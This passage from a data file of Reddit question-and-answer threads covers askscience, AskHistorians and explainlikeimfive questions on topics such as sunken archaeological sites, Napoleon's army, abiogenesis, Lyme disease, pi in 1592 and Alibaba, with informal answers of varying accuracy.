will throw up some surprises", "I feel like a drained North Sea would be great for the study of Viking sea-life. Imagine all the artefacts that were aboard raided Viking ships when they went down!", "I can't believe that no one has mentioned the Gulf of Khambhat or Cambay.  Marine archaeologists say this site may be over 8000 years old.  That pre-dates even Mesopotamian civilization.   \n\nEdit: ssundar78 mentioned it.  ", "The search for the missing [Templar fleet](_URL_0_)! Supposedly tons of Gold and artifacts. ", "[There is a fortune estimated at $20 million of silver and lead bars just off the coast of Staten Island...](_URL_0_)\n\nMaybe not as historically relevant as other sites but I still think I'd check this out.", "[Money Pit on Oak Island](_URL_0_)\n\n\n\n[Underwater Ruins off Yonaguni Island in Japan](_URL_1_)", "Beringia. It would help answer a lot of questions about the colonization of thye Americas, Pre-Clovis, etc.\n\nAlso /r/archaeology", "This isn't a river but the [Firth of Tay](_URL_0_) is believed(by some) to have treasure worth \u00a312 Billion hidden in it's depths somewhere.\n\n[Source](_URL_1_)", "In purely monetary terms new easy to access oilfields would be by far the most profitable, not to mention mineral resources that are impossible to mine. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Doggerland"], [], [], ["http://egyptonlineguide.blogspot.com/2010/09/journey-underwater-alexandria-submerged.html", "http://all-that-is-interesting.com/post/8395804085/sunken-cities-of-the-ancient-world"], [], [], [], ["http://www.atomicarchive.com/Almanac/Brokenarrows.shtml", "http://nymag.com/news/features/56609/"], ["http://www.guardian.co.uk/world/2005/apr/06/austria.secondworldwar"], ["http://en.wikipedia.org/wiki/Battle_of_Leyte_Gulf#The_Battle_of_Surigao_Strait_.2825_October.29"], ["http://www.nautiluslive.org/"], [], [], [], [], ["http://www.sciencedaily.com/releases/2009/02/090211122529.htm"], [], ["http://en.wikipedia.org/wiki/Helike"], ["http://en.wikipedia.org/wiki/Oak_Island"], ["http://en.wikipedia.org/wiki/Port_Royal"], ["http://en.wikipedia.org/wiki/File:Port_Phillip_10,000.PNG", "http://www.heritage.vic.gov.au/admin/file/content2/c7/AIMAPoster_A3.pdf", "http://www.pesa.com.au/publications/pesa_news/mar_07/images/Bass-Basin-slide-2.jpg", "http://en.wikipedia.org/wiki/File:Portphillip.gif", "http://www.aima.iinet.net.au/publications/newsletters/docs/NLv28n3y09.pdf"], ["http://en.wikipedia.org/wiki/Scapa_Flow", "http://en.wikipedia.org/wiki/Spanish_Armada"], ["https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/a-12/a-futile-fight-for-survival.html"], ["http://reddit.com/r/geology"], [], ["http://en.wikipedia.org/wiki/Dwarka#Marine_archeological_findings"], [], [], ["http://en.wikipedia.org/wiki/History_of_the_Knights_Templar"], ["http://www.smithsonianmag.com/history-archaeology/The-Search-for-the-Guggenheim-Treasure.html"], ["http://en.wikipedia.org/wiki/Oak_Island#Treasure_theories", "http://www.divejapan.com/yonaguni_monument.htm"], [], ["http://en.wikipedia.org/wiki/Firth_of_Tay", "http://www.deadlinenews.co.uk/2012/01/31/12b-sunken-loot-could-be-found-by-new-technology/"], []]}
{"q_id": "d8bz10", "title": "Why are our ankles a place that \u201ccracks\u201d or \u201cpops\u201d in order to release gases more often then other joints in our body? Is it just because of the pressure put on it or is there another reason?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d8bz10/why_are_our_ankles_a_place_that_cracks_or_pops_in/", "answers": {"a_id": ["f1avsbf"], "score": [5], "text": ["That's not the only reason for joints to crack or pop. It could be arthritis or the movement (slightly out of place) of joints, tendons or ligaments which is more common in the knees and ankles.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.loc.gov/rr/scitech/mysteries/joint.html"]]}
{"q_id": "20ueed", "title": "Napoleon invaded Russia with 685,000 men, but by the Battle at Borodino he was only able to commit around 150,000. Was this expected by Napoleon?", "selftext": "From everything I can tell Napoleon felt things were still generally on plan at this point despite some unexpected retreats from the Russians. Did Napoleon expect to lose almost half a million men to attrition, raids, and logistics maintenance from the outset? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20ueed/napoleon_invaded_russia_with_685000_men_but_by/", "answers": {"a_id": ["cg6ux9l"], "score": [12], "text": ["Far from it, those half million men \"missing\" are simply troops that were dedicated to the protection of supply lines. Since Napoleon was driving himself into enemy territory, he needs soldiers to protect the supply lines that would get food, ammo, and other necessities. Although it must be noted that most of these half million men were from the \"allies\" that Napoleon had made, such as from Austria, Prussia, the Confederation of the Rhine, etc. His main battle troops were French and German soldiers under command of his best or most daring commanders."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "s1d6a", "title": "Conventionally, the opinion on study seems to be to study for 45 minutes, take a break for 15 minutes, and repeat. Is there any proof to back this division up, compared to say, several hours of study in a row? Has anyone ever done a critical analysis?", "selftext": "Also compared to even shorter breaks (like 20, 10, 20, 10). I always feel that once I *start* studying, I've got the ball rolling. Every time I stop, I find it harder to get back into it, and I'm wondering if I'm stopping for breaks that I don't \"need\". ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s1d6a/conventionally_the_opinion_on_study_seems_to_be/", "answers": {"a_id": ["c4aei64"], "score": [6], "text": ["Yes. There are numerous studies in the psychology literature (typically memory) about spaced or interleaved study vs. massed study. I linked to some references in this post:\n_URL_0_\n\nFurthermore, there are interesting findings in the metacognition literature that show that people *feel* as though they learned more/recalled better after massed studying compared to spaced, but that's the opposite of their actual performance. If you're interested, I can try to dig up those references."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/rtixc/does_studying_in_the_morning_sleeping_in_the/"]]}
{"q_id": "1ntyr7", "title": "I'm a slave who's managed to escape his bondage and made his way to Canada, ca. 1850. What sort of prospects do I have for life as a freeman?", "selftext": "Assuming here that I'm a field hand with no literacy and no real specialized skills. I know that after the Fugitive Slave Act was passed Canada became the destination of choice for runaway slaves since it put them firmly outside their former master's reach, but whenever slavery was taught in my schools the story sort of trailed off there and I always wondered what these people did after they became free.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ntyr7/im_a_slave_whos_managed_to_escape_his_bondage_and/", "answers": {"a_id": ["ccm4hon", "ccmn3w4"], "score": [22, 5], "text": ["I'm also curious of the situation in Canada for slaves at the time.  How free were they?  How often were they paid very little or none at all?\n\nAnother question.  If a slave was fed and given a place to live, if that had a monetary value, how much would that be?  And then, would it be possible to be paid less then that?\nWere there situations where a slave escaped only to be getting less when they were slaves?\n\nCould a wage be so low that it could be seen as being paid as less than a slave?", "I thought this was an AMA until I got to the 1850 part. For a moment I was very confused. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4lgoh7", "title": "why when i'm sick to the point of feeling like death can i get in the shower and almost feel complete relief until i shut the water off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lgoh7/eli5_why_when_im_sick_to_the_point_of_feeling/", "answers": {"a_id": ["d3n4ybz", "d3n6rtj", "d3n802t", "d3n8vn7", "d3nbqgp", "d3nda7a", "d3ndtzh", "d3nhqbn", "d3njl66"], "score": [51, 73, 6, 4, 10, 2, 4, 2, 3], "text": ["Hot, steamy air does wonders for clearing out your sinuses. Sinus pressure and the constant annoyance of a runny nose is a lot of what makes you feel like total ass when you're sick.", "I believe the heat from the water basically turns off pain type receptors or senders under the skin, so the discomfort goes away, but only temporarily. \n\nA piece of cloth filled with rice then microwaved until toasty warm can provide similar relief if applied to the lower back and chest. ", "I suffer from a condition known as [Cyclic Vomiting Syndrome, or CVS](_URL_0_) and have friends and family that also share either that affliction or a similar one -- crohn's disease, or other gastric-distress disorders. One thing that we all seem to have as a commonality is [the almost unwavering desire to take a bath/shower](_URL_1_) when in [the middle of a significant flare-up of the condition.](_URL_2_) It's certainly not a universal response; but if gastric distress is a commonality it might be an angle worth looking into.", "Effleurage is a light skimming massage used to relieve stress and pain. I believe showering provides full body effleurage. In addition to the therapeutic value of heat and steam.", "I think it's because the feeling of all those water jets hitting you is a lot of stimulation to your nervous system. This distracts you from feeling the nausea.  \n\nAnother possibility: hot water causes you to get hot and blood flows to your extremities and away from your core. This affects your digestive system by making you feel less nauseous ", "Loading your sensory feelings with things other than pain. Try focusing the shower head right on the back of your neck for maximum effect.", "Hot water is so therapeutic. \n\nI remember when I was getting clean and detoxing off opiates, I was going thru bad withdrawal and felt like shit with zero energy.... but the second I hopped in that shower I felt completely like my normal self. It was great. I think those first few days I would take like 3 hot showers a day. ", "Everyone else on this thread mentions hot showers, but if you are sick with a bad fever, a nice cold shower can ease that discomfort. ", "This is my cure all for any sickness... i have been in the showere for 8 hours on bad hangover days.. on and off, get in for an hour then go try to sleep get back in rinse repeat till im back to normal.  I might be able to cure cancer with a long enougb showet bath cycle.. i turn the shower on and let the tub fill up water fall effect and sound is relaxing..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://cvsaonline.org/what-is-cvs/", "http://cvsa.websitetoolbox.com/post/wondering-about-hot-baths-5066788", "http://survivingcyclicvomitingsyndrome.blogspot.com/2013/09/hot-baths-as-escape-to-cvs-suffering.html"], [], [], [], [], [], []]}
{"q_id": "7nwbjt", "title": "How do places like ski resorts create and distribute artificial snow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7nwbjt/how_do_places_like_ski_resorts_create_and/", "answers": {"a_id": ["ds5pzq2"], "score": [2], "text": ["They have snow cannons along the runs. Those are basically powerful fans which blow very fine mist into the air which then freezes and falls to the ground as snow. The snow is then distributed with snow groomers to areas where the natural snow has already worn away or is very thin already."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2t8jyo", "title": "how do the 1% harm me?", "selftext": "Do I somehow have less money because people are rich? \n\nWhy does it matter other than not being cool that 1% own 47% of world wealth?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t8jyo/eli5_how_do_the_1_harm_me/", "answers": {"a_id": ["cnwpi21", "cnwpjv3", "cnwq0ge", "cnwqccw", "cnwqetf", "cnwrezk", "cnws0u9", "cnwwtzl"], "score": [2, 3, 2, 17, 10, 4, 26, 3], "text": ["They employ people, provide housing, fund projects and provide some benefit. Can't think of any harm but this reddit ", "If the worlds wealth is largely held by a small percentage, that means that less of it is available to the larger population. As this money is often tied up in assets, it can also lead to economic stagnation as the money in an economy is held unused by a small number of people instead of being re-invested. ", "There are 2 basic inpits needed for a businesses to function.  The first is capital.  Capital is money, that money is used to do things like build factories.  The second is human capital, aka labor.  \n\nWhen a good is produced and sold, that income ends up in either the hands of the laborer or the investor.\n\nIf the investors are taking a larger share of the income, who do you think is getting a smaller share?\n\nYou work and generate wealth as a result.  The question you should be asking is \"am I fairly paid for my work\".  The fact that income is collecting in the hands of the owners of capital is an indication that everyone else is being underpaid.  \n\nThey harm you because that money should have gone into increasing wages over the past decades.  Wages, adjusted for inflation, have actually been falling in recent years wheres the money collected by investors has done nothing but go up. ", "They hoard resources. The use these resources to influence government away from pursuing a common good. The control pricing and wages and ensure you pay the highest prices and receive the lowest wages. ", "Do you pay rent for your housing? Do you have trouble finding a job? Do you fear you might not have enough money to retire at a reasonable age? Do you find your wallet constrained by the prices of everyday goods?\n\nIf not, congratulations, you're already on top. But billions of people do face some or all of these problems. And one of the main reasons they do is as a consequence of the socioeconomic elite manipulating economies and governments in order to augment their own wealth and power (which in turn is what they use for said manipulation). The problem isn't that they're rich per se, the problem is that they use unfair techniques to *stay* rich (and get richer) at the expense of society.", "By definition, there will always be the wealthiest 1%. The problem is when the divide between them and the rest of the population is so large, and they have too much power it distorts the economy and the government toward their benefit often to the detriment of society as a whole. \n\nHistorically, societies have done better when the middle is more wealthy relative to the top than when there's a huge divergence. Just as an example, in 1965 the average CEO made 20 times what the average worker made. In 2012 that ratio was 273 times as much. So the gap is increasing. ", "I had doubts about income inequality being harmful and heard a few arguments that I agree with and some I don't but they are worth a conversation anyway. \n\nFirst off, lets just get it out of the way: There will always be rich people, this isn't a bad thing. Also, the income inequality that we have here is completely incomparable to the third world because our median standard of living is so much higher. It's a silly argument not worth defending, but I hear it made often. What matters with that statistic are trends over time. The mere presence of extreme wealth alone doesn't make you any worse off, but they way our economy works some its effects will overtime hurt the economy because of the way money is controlled. It's not a zero sum game, but wealth introduction starts somewhere and the way classes handle it when they get it are different and it lends itself to the argument of inequality being a net bad when left unchecked.\n\nThe following are all generalizations:\n\nRich people save money, much much more than the average person. Yes, they live comparably extravagant lives, but what they are spending is often a smaller percentage of their income than what a middle class person spends.\n\nMiddle class, I just lump them all in here, are people that save a little but overall spend most of their salary. They buy houses, luxury items, they really spend and it's healthy for the economy when they do this.\n\nPoor people, they don't make a lot of money and spend it all, but entirely on necessities and not a lot of discretionary spending.\n\nIncome inequality tends to  remove buying power from the middle classes, turning them lower, and gives that money to the rich who will tend to save it. Saving is actually a bad thing for the economy when done in excess, this is contrary to what we are taught as individuals. The economy is based on spending, thats what the downturn we experienced can be generalised as, a lack of spending, self reinforced. \n\nThe rich aren't completely useless, they are sometimes savvy investors, business owners and people who make some important parts of the economy happen, without their capital there would be nothing. But the spending of the middle classes is the most fickle and necessary part of a healthy economy so diminishing that has consequences. \n\n", "Here's one argument.  Say you have $40,000, and you're looking for a home for your family.  The bank can give you a 80% mortgage, so you are looking for a house you can buy for $200,000.  Okay, great, you found one.  But wait, there's a guy with $5,000,000 in his bank.  He is willing to pay $400,000 cash for the house you were looking at.  Then he does the same for every house on the block, and buys them all.  Now you an all the other families are stuck renting.\n\nOkay, next generation, you and your kids managed to save $40,000 for your kids' house, after paying rent all this time.  But the wealthy guy's kids have a million each, gotten through rent and refinancing.  The cycle continues.\n\nThe problem is, when you have a high economic disparity, it is very easy for a few rich families to own everything, and drive up the cost of property."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "79hmkp", "title": "how do activated carbon filters work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79hmkp/eli5_how_do_activated_carbon_filters_work/", "answers": {"a_id": ["dp204ov", "dp22br8", "dp2c7ko", "dp2ek8a"], "score": [40, 10, 8, 3], "text": ["Basically the carbon has tiny tiny pores that pull things out of water/air/etc via what's called the van der waals force. Different base materials (coconut, wood, animal bone) result in different size pores which are used in different applications depending on the medium and what you're trying to filter out.", "The carbon used is created by heating some kind of organic material in an oxygen-free, low-pressure chamber. Apparently coconut husks wok well for this.\n\nThe result of this is pyrolytic carbon. On a very small scale, the carbon consists of a spongy, randomized, lace-like network of carbon atoms. The material has an extremely high surface area. Large molecules such as volatile organic compounds (VOC's) tend to get trapped in all the tiny voids and crevices in the material, while small molecules like N2, O2, or H2O can fairly easily pass through it.", "Insanely huge surface area, allowing it adsorb huge amounts (relative to the amount of carbon) of what have you", "They are two reasons:\n- Very high ratio surface/volume\n-Due to incomplete burning process there are several different organic groups attached that can hold back different kinds of molecules, this with the non-specific forces allow activated carbon to filter a very large range of compounds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4u3k4g", "title": "why is the sound of a galloping horse a repeating pattern of three quick \"clops\", when there are four hooves striking the ground?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4u3k4g/eli5_why_is_the_sound_of_a_galloping_horse_a/", "answers": {"a_id": ["d5mijxa", "d5mim2a"], "score": [46, 3], "text": ["In answer to your primary question, when you hear three \"clops\", two hooves are hitting the ground at the same time. One of the hooves is in the front, while the other is in the back on the opposite side (e.g., right front / left back or left front / right back). This is called a \"canter\".\n\nA canter is a type of \"gait\" or way of walking/running. Horses actually have multiple types of gaits and they all have different patterns. Sometimes you will only hear 2 beats, sometimes 3, and sometimes 4. The most common are the walk (4 beats), trot (2 beats), canter (3 beats), gallop (4 beats), and pace (2 beats). There are others, but they are typically not natural movements for all horses.\n\nMost 4-legged animals have different gaits depending on their speed, but we just tend to hear it more with horses because of their hard hooves.\n\n_URL_1_\n\n_URL_0_\n", "the 3 clops you hear are usually the sign of a canter, rather than a gallop. In a canter one of the rear legs moves the horse and then in the next beat the other rear leg and the opposite front one (so left rear  &  right front, for example) hit the ground at the same time. Then the other front leg will come down, making the third beat. \n\nIn a full gallop the second and third legs come down close to each other (fraction of a second after) so that can often sound like one beat even though it's actually two. so if you were to to slow down a recording you would hear 4 'clops' rather than 3. \n\nAlso, most of the time a horse gallops is on a soft surface, such as grass or dirt (in racing) so the chances are that deadens the sound and makes it appear like that middle phase is one thing than two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Horse_gait", "https://codymcarthur.com/2011/07/07/19-the-different-gaits-of-a-horse-video/"], []]}
{"q_id": "fhzts", "title": "How did self-replicating molecules come about?", "selftext": "Okay, so I'm an engineering major at school and am not spending ridiculous amounts of time devoted to biology and chemistry, but they do indeed interest me.  Bear with me.\n\nHow did we go from amino acids bouncing around to (what I would assume to be) ribozymes duplicating themselves?  How did that mechanism for duplication occur?  Do I have a fundamental misunderstanding of the first few billion years of our evolution?\n\nEDIT: Looks like I asked a good question.  I honestly didn't know it was \"the biggest unanswered question in biology\".  I was in bed last night and doing that pondering-life-during-the-last-fifteen-minutes-before-falling-asleep and kind of hit a \"wait, my biology classes skip that part\" moment.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fhzts/how_did_selfreplicating_molecules_come_about/", "answers": {"a_id": ["c1g2uk1", "c1g2ul1", "c1g2uz2", "c1g2wlk", "c1g2znt", "c1g32ma", "c1g3929", "c1g3g8d", "c1g3hco", "c1g3ju7", "c1g3m9v"], "score": [2, 57, 7, 16, 12, 2, 5, 3, 10, 7, 7], "text": ["I too am in engineering rather than chemistry these days, so I'd like to be corrected by someone better educated on this, but isn't this one of the tenets of rational arguments for the existence of a God? I seem to remember hearing before that we have no mechanisms as yet for how this could come about by itself, so like the bizarre properties of water molecules that are uniquely suited to life, some take it as evidence of 'design'. Please note, I could be totally wrong here.", "You pretty much ask the biggest unanswered question of biology and expect reddit to come up with an answer. \r\n\r\n*I like your style*.\r\n\r\nSo yes, we have no fucking idea.", "My viewpoint is that the combination of billions of amino acids would create many \"species\" of organisms.\n\nThat one(s) that could replicate would.  The ones that can't eventually die.\n\nWe don't really see the failures.", "This is one of the big unknown questions, so any answer would be incomplete. Nobel laureate Jack Szostak is working on creating various molecules that can self-replicate. Here's a video of his speech: _URL_0_\n\nHe talks about his research on this topic, and it's for a general audience so it should be more or less comprehensible. ", "There's currently a lot of researching going on in this field. I worked for a couple of years helping out a specific project on this at Georgia Tech. Link to the research's main site: [Center for Chemical Evolution](_URL_1_)\n\nI was working on creating a database of the possible chemical reactions that researchers have found. In theory, with this database populated, a researcher could look at it and decide \"well here is the missing link in the pathway from x to RNA.\" Here's a link to the software I was working on: [OriginDB](_URL_0_)\n\nNote: Take the things I say below with a grain of salt, I'm a CS grad student, not chemistry, but this stuff is fascinating to me!\n\nA few years ago when I was working on this, one of the best theories I heard was that over time the chemicals involved in replication changed. For instance, RNA as it is today is extremely thermodynamically stable, so how could it have come about without the other molecular machinery in existence? The answer *could* be that there were precursors to RNA with a less stable backbone. Another theory is that the bases themselves \"evolved\" from other molecules that behave in similar ways. ", "[Here](_URL_0_) is a possible explanation,. Disregard the epic soundtrack.", "Obligatory _URL_0_\n\nVery well-explained introduction to a current hypothesis of abiogenesis, with peer-reviewed references.", "There is the PAH world hypothesis which say PAHs helped. There is also a theory of Montmarillinite (a special clay) helping. Basically you are looking for a catalyst to help initially they at some point BOOM self-replicating.", "While it's quite likely that the other commenters already have given rather good explanations (I'm currently unable to view video material, so I can't comment on those), I must point to the [RNA world hypothesis](_URL_0_) as the most likely current explanation.\r\n\r\nTo give a very simple explanation, not only can amino acids form in the conditions of early earth, but other organic compounds as well.  As RNA not only can carry heritable information (which proteins do not) but also [catalyze reactions](_URL_1_), including their own synthesis, they are the most likely first replicators. \r\n\r\nAt some point later (earth existed for some 500,000 years before the first life arose, let us recall, as well as almost two billion years after that before multicellular life arose), the other traits of cellular life develop; lipids are gathered and use to isolate materials (that is, primitive cell membranes), DNA is used instead of RNA for data storage due to stability and proteins are used for primary catalysis (among other things) due to their efficiency.  Once you get self-replicating molecules (esp. those that can catalyze reactions), the basic tenets of evolution step in and provide for the rest; whatever works, survives; whatever doesn't dies...if you can call it death at that point.  And as a reminder, cooperation is often favored.\r\n\r\nNow this isn't my main topic of study, so I may have missed key points in my simplification.  Further, there are still difficulties with the hypothesis.  However, it is the one that is ahead of the pack, per say, at the moment.  Oh yes, and do remember: Evolution and Abiogenisis are separate.  The theory of Evolution doesn't talk about how life begins, only how it changes over time.\r\n\r\nOh, and good question!", "Hopefully people will have mercy on my \"related/tangential question or comment\", but a (semi related) question that boggles my mind even more is why are all the biological amino acids based one 1 particular absolute configuration?\n\nWhen you synthesize amino acids in the lab, you get equal amounts of all the possible enantiomers. But when nature does it, you only get 1 entaniomer.\n\nso since the amino acids must have formed from chemicals floating around the early planet, why do we only see 1 configuration today? what happened to the other enantiomers? could life form from amino acids of a different chirality from ours? if it could, would they be like us?\n\nblows my mind.", "[Warning: lengthy answer!]\n\nThis is an excellent question! One that has been, pretty much, the central question in biology for many, many years. Now the short answer is, as has already been pointed out: we really don't know.\n\nThat said, we do however have a basic idea of how self-replicating molecules came about. By this I mean that we have several working models that try to explain this, but bear in mind these are just models and not actual theories.\n\nFirst let me talk about a few key concepts. In biology we can talk about two different types of nutrients (I'll explain why this distinction is important in a second): mineral nutrients and organic nutrients. Mineral nutrients basically refer to either elements (e.g. C, H, O, N, P, S, etc.) or simple inorganic molecules (e.g. CO2, NH4, NO3, SO4). Organic nutrients on the other hand basically refer to proteins, carbohydrates and lipids (some authors include nucleotides here as well, but we'll stick to these three). Now, understanding how mineral nutrients work is very simple. We can derive cycles for each of them and figure out how they are used, recycled and reused. The problem comes when we try to discuss organic nutrients.\n\nThe reason why I wanted to make this distinction is because structurally organic nutrients are very complicated molecules. Each of the aforementioned organic nutrients are considered biological polymers, which are formed by several individual biological monomers linked together. Understanding that simplifies things quite a bit. Why? Because we can focus first on the monomers and try to understand how they came about.\n\nLet's start with proteins (i.e. polypeptides, the polymer), which are composed of individual amino acids (the monomer) linked together by peptide bonds. RobotRollCall already mentioned that synthesizing amino acids from inorganic nutrients is not that difficult. You basically need enough carbon, hydrogen, oxygen and nitrogen in the system for them to form. I wont go into the stoichiometry here, but suffice to say that we understand the reactions that can form them.\n\nOk, so let's assume we now have, in our system, enough amino acids (i.e. the monomers). First we want to create the polymers (i.e polypeptides or proteins). What happens is that these amino acids will start reacting with each other by a very important type of chemical reaction: a condensation. Condensation is a chemical process by which two molecules are joined together to make a larger, more complex, molecule, usually with the loss of water. It is the basis for the synthesis of all the important biological organic nutrients from their monomers.\n\nContinues..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=E14UGprN2uk"], ["http://code.google.com/p/origindb/", "http://centerforchemicalevolution.com/"], ["http://www.youtube.com/watch?v=U6QYDdgP9eg"], ["http://www.youtube.com/watch?v=U6QYDdgP9eg"], [], ["http://en.wikipedia.org/wiki/RNA_world_hypothesis", "http://en.wikipedia.org/wiki/Ribozyme"], [], []]}
{"q_id": "3u5a0a", "title": "what are macros? (exercise)", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3u5a0a/eli5_what_are_macros_exercise/", "answers": {"a_id": ["cxc07w3"], "score": [3], "text": ["Because you said \"exercise\", I am assuming:\n\n**Macro-nutrients**\n\n- Protein\n- Carbohydrates\n- Lipids\n\nBut really, you shouldn't focus on your macros too much (*and don't do a low-carb diet, that shit ain't healthy*). If you want to be healthy, eat lots of nutrient dense foods such as leafy greens and beans. Nutrient dense = lots of nutrients per calorie. Too often people are focusing on restricting either fats or carbs... when in reality, people should actually be focusing on eating nutrient dense foods."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zpt0i", "title": "I was just diagnosed with the first stage of Lyme's Disease for the third time in five years.  Each is from an independent tick bite, but why didn't my immune system catch on after the first time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zpt0i/i_was_just_diagnosed_with_the_first_stage_of/", "answers": {"a_id": ["c66ofe1"], "score": [10], "text": ["Bacteria are covered with proteins which the immune system can recognize. Within a strain, the bacteria tend to have the same surface proteins--meaning that once you have been exposed, your immune system makes antibodies, and you are often immune. \n\nBacteria have evolved mechanisms to evade the immune system. These mechanisms allow them to reinfect you even though you have antibodies to some of their surface proteins. Borrelia burgdorferi, the bacteria that causes Lyme disease, undergoes a process called 'antigenic variation'. This means that the bacteria is constantly changing its surface protein. Basically, it started with protein A and your immune system now makes antibodies against A; the bacteria mutates its surface proteins just enough to make them type B, which your immune system hasn't made antibodies to yet. So, by changing its surface proteins, the bacteria is able to escape detection by the immune system, and you can get Lyme disease multiple times. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5zchsm", "title": "Today is Pi Day. On March 14th in 1592 was there anyone who had calculated Pi out to the seven digits 3.141592 AND was using a calendar which matched them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5zchsm/today_is_pi_day_on_march_14th_in_1592_was_there/", "answers": {"a_id": ["dex3yrp"], "score": [26], "text": ["I think so, but I am not sure! Here is what I can tell you with confidence:\n\nBy 1592, several different people had calculated Pi well beyond seven digits. Madhava of Sangamagrama (1340 - 1425) from Kerala in India is usually attributed with having calculated Pi to 11 decimal places (3.14159265359) using the Madhava-Leibniz Series. As the name suggests, it's a infinite series discovered by him and later Leibniz (in the 1600s). Now there is some confusion here about whether Madhava himself discovered the series or one of the later people in the Keralite School of Mathematics did, as they had a habit of attributing their discoveries to Madhava,  who they considered the founder of the movement. Unfortunately, I don't know enough about the controversy to tell you for sure who did it, but I do know for sure that this was published in Malayalam - the language of Kerala - by 1550 in the Yuktibhasa of Jyesthadeva, so there were at least a small group of people living in Kerala who knew pi to well beyond what you require. How many is a big question, and again we hit the limits of our small knowledge of what Keralite mathematics was. Which is quite sad, because it is a fascinating episode of history. Why exactly a small group of scholars living in one state in the south of India suddenly had an explosion of astronomical and mathematical ideas beginning in the 13th century is a very interesting question, which we still don't know a lot about. Who were they? How did they fund this? Why did they do math? How many other people knew about this? Did it spread beyond Kerala? We have a little bit about these questions, but not a lot unfortunately. The most update to intro book on this is G. G. Joseph's A Passage to Infinity: Medieval Indian Mathematics from Kerala and Its Impact, although it has its problems.\n\nOf course Indians weren't using a western Calendar so the fact that there were several people with enough digits is not an answer to your question!\n\nOk, so if not India, where else? Jamsh\u012bd al-K\u0101sh\u012b head of the observatory in Samarkand under Shah Rokh calculated pi to 9 hexadecimal digits sometime before this. Wikipedia tells me 1424, and gives another source, which seems pretty plausible. Now, hexadecimal means that we're using base 16, which is familiar to computer scientists. So 3.1 = 3 + 1/16 and so on. Translating this to decimal, we get 3.14159265 35897932 so certainly enough digits. But again, the wrong calendar, as  al-K\u0101sh\u012b would be using the Islamic calendar. And worse, it seems very likely that both  al-K\u0101sh\u012b and Madhava never had their work make it to Europe which was using the calendar you asked for.\n\nBut, I believe we do have someone. Meet Fran\u00e7ois Vi\u00e8te (1540\u20131603) Seigneur de la Bigoti\u00e8re, cryptographer to the King of France (and so good at it the Spanish accused him of being a witch), lawyer and mathematician. Most famous in his day for his involvement in 16th century French politics, today he's well known for math. He's the one who gave you using letters for unknowns in algebraic equations, and for our purposes, we need look at Vi\u00e8te's formula:\n\n2/pi = sqrt(2)/2 + sqrt(2 + sqrt(2))/2 + sqrt(2 + sqrt(2 + sqrt(2)))/2 + ...\n\nwhich he published in his book Variorum de rebus mathematicis responsorum, liber VIII, and got it to 9 decimal places. Also, he published this in 1593, however given the length of time it took to publish back then I am guessing that he probably would have known this result for some time, although I could be wrong. \n\nSo I think there was someone who could have known, but am not sure. I'm also not sure if people in the 16th century wrote dates like 3/14/1592, even today putting the month first is very American. Finally, I am aware of  Vi\u00e8te's work because it's a rather famous result, being the first time someone published a value as the sum of some infinite series in the West (Kerala had already done this), but I don't know the state of approximations of pi beforehand. Did Europeans have up to 7 digits by then? Probably, but again I have no proof. \n\nSo my answer is I really really think so, and if  Vi\u00e8te had just published on year earlier, I'd be sure. \n\nHope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "46zhyb", "title": "what is alibaba and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46zhyb/eli5_what_is_alibaba_and_how_does_it_work/", "answers": {"a_id": ["d090xc5", "d090y5y", "d09azf9"], "score": [73, 2, 2], "text": [" >  it is an site that gives you access to Chinese wholesalers.\n\nThat pretty much sums it up. It connects you directly to manufacturers and wholesalers so that you can purchase large number of products at very low costs.\n\n >  Are the prices negotiable? \n\nYes, almost all the manufacturers/wholesalers are willing to negotiate if you buy enough of their product, but don't expect much negotiation to happen if you're not buying in bulk. It's common to first arrange for small quantity 'sample' shipments at set prices before negotiating prices for larger quantities.\n\nSometimes Alibaba wholesalers will list prices like \"$250-$300\" - this typically means the price ranges from $250-$300 depending on how much product you purchase at a given time (you only get the $250 price if you buy over a certain threshold and there may be a general minimum order quantity even for the $300 price).\n\n >  Is shipping included?\n\nNo, or at least rarely. Shipping is usually extra and can be significant if you are buying small quantities and want 